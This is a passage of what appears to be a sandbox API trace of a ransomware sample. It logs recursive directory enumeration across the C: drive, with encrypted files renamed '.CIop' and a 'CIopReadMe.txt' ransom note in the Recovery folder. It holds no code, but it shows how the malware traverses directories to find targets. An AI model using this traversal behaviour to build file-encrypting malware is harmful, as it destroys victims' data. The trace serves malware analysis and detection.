lpString1=0x2dcdac8, lpString2="C:\\PerfLogs\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0128.176] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0128.176] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0128.176] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0128.176] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0128.176] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0128.177] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0128.177] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0128.177] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0128.177] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0128.177] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0128.177] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0128.177] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.177] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0128.177] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0128.177] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.177] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0128.177] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0128.178] SetErrorMode (uMode=0x1) returned 0x1 [0128.178] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0128.178] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0128.178] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0128.178] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0128.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0128.178] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0128.178] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0128.178] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0128.178] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0128.178] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0128.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0128.179] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0128.179] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0128.179] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.179] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.179] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0128.179] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0128.179] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.179] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0128.179] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0128.179] SetErrorMode (uMode=0x1) returned 0x1 [0128.179] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0128.179] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0128.180] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files (x86)\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0128.180] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0128.180] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0128.180] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0128.180] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0128.180] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0128.180] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0128.180] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0128.180] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0128.180] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0128.180] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0128.181] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0128.181] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.181] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0128.181] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0128.181] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.181] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0128.181] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0128.181] SetErrorMode (uMode=0x1) returned 0x1 [0128.181] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0128.181] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0128.181] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0128.181] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0128.181] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0128.181] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0128.181] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0128.181] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.182] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0128.182] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0128.182] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0128.182] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0128.182] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0128.182] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0128.182] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.182] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0128.182] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0128.182] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.182] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0128.182] lstrcatW (in: lpString1="C:\\", lpString2="Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0128.182] SetErrorMode (uMode=0x1) returned 0x1 [0128.182] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0128.182] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0128.183] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Recovery\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0128.183] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0128.183] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0128.183] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0128.183] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0128.183] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.183] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.183] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0128.183] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0128.183] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0128.183] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0128.183] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0128.184] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0128.184] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0128.184] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0128.184] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.184] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.184] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.184] lstrcmpW (lpString1="WindowsRE", lpString2="..") returned 1 [0128.184] lstrcmpW (lpString1="WindowsRE", lpString2=".") returned 1 [0128.184] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0128.184] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0128.184] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0128.184] SetErrorMode (uMode=0x1) returned 0x1 [0128.184] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0128.184] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0128.184] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Recovery\\WindowsRE\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0128.184] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0128.184] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0128.185] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0128.185] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0128.185] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.185] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.185] lstrcmpW (lpString1="boot.sdi.CIop", lpString2="..") returned 1 [0128.185] lstrcmpW (lpString1="boot.sdi.CIop", lpString2=".") returned 1 [0128.185] lstrlenW (lpString=".CIop") returned 5 [0128.185] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.185] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.185] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.185] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.185] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.185] lstrcmpW (lpString1="ReAgent.xml.CIop", lpString2="..") returned 1 [0128.185] lstrcmpW (lpString1="ReAgent.xml.CIop", lpString2=".") returned 1 [0128.186] lstrlenW (lpString=".CIop") returned 5 [0128.186] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.186] lstrcmpW (lpString1="Winre.wim.CIop", lpString2="..") returned 1 [0128.186] lstrcmpW (lpString1="Winre.wim.CIop", lpString2=".") returned 1 [0128.186] lstrlenW (lpString=".CIop") returned 5 [0128.186] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0128.186] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.186] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.186] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0128.186] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0128.186] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0128.187] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0128.187] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0128.187] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.187] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.187] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.187] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.187] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.187] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.187] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0128.187] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.187] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.187] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0128.188] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0128.188] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0128.188] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.188] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.188] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0128.188] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0128.188] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.188] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0128.188] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0128.188] SetErrorMode (uMode=0x1) returned 0x1 [0128.188] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0128.188] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0128.188] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\System Volume Information\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0128.189] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0128.189] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0128.189] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0128.189] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0128.189] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.189] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0128.189] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0128.189] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0128.189] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0128.189] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0128.189] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.189] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0128.189] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0128.189] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0128.189] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0128.189] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0128.189] lstrcatW (in: lpString1="C:\\", lpString2="Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0128.190] SetErrorMode (uMode=0x1) returned 0x1 [0128.190] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0128.190] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0128.190] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Users\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0128.190] lstrcatW (in: lpString1="C:\\Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0128.190] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0128.190] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0128.190] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0128.190] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.190] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.190] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.190] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.190] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.190] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.190] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.190] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.190] lstrlenW (lpString="desktop.ini") returned 11 [0128.190] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.190] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0128.191] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0128.191] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0128.191] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0128.191] lstrcatW (in: lpString1="C:\\Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0128.191] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0128.191] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0128.191] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0128.191] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.191] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.191] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.191] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0128.191] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0128.191] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0128.191] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0128.191] lstrcatW (in: lpString1="C:\\Users\\", lpString2="All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0128.192] SetErrorMode (uMode=0x1) returned 0x1 [0128.192] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0128.192] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0128.192] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\All Users\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0128.192] lstrcatW (in: lpString1="C:\\Users\\All Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0128.192] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0128.192] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0128.192] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0128.192] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.192] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0128.192] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0128.192] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e6b8 [0128.192] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0128.192] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0128.193] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0128.193] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0128.193] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1 [0128.193] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1 [0128.193] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0128.193] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0128.193] lstrcatW (in: lpString1="C:\\Users\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.193] SetErrorMode (uMode=0x1) returned 0x1 [0128.193] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.193] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\CIiHmnxMn6Ps\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.193] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0128.193] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0128.193] PathFindFileNameW 